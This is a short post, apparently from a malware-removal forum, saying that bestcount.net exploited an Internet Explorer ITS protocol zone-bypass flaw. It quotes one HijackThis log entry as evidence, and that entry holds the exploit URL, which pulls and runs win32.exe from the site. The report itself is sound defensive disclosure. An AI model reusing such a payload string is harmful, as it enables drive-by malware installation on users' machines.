bestcount.net seems to have been exploiting the Microsoft Internet Explorer ITS Protocol Zone Bypass Vulnerability, based on the following Hijackthis log entry:
O16 - DPF: {11010101-1001-1111-1000-110112345678} - ms-its:mhtml:file://C:\foo.mht!http://bestcount.net//adv//188//targ.chm::/win32.exe
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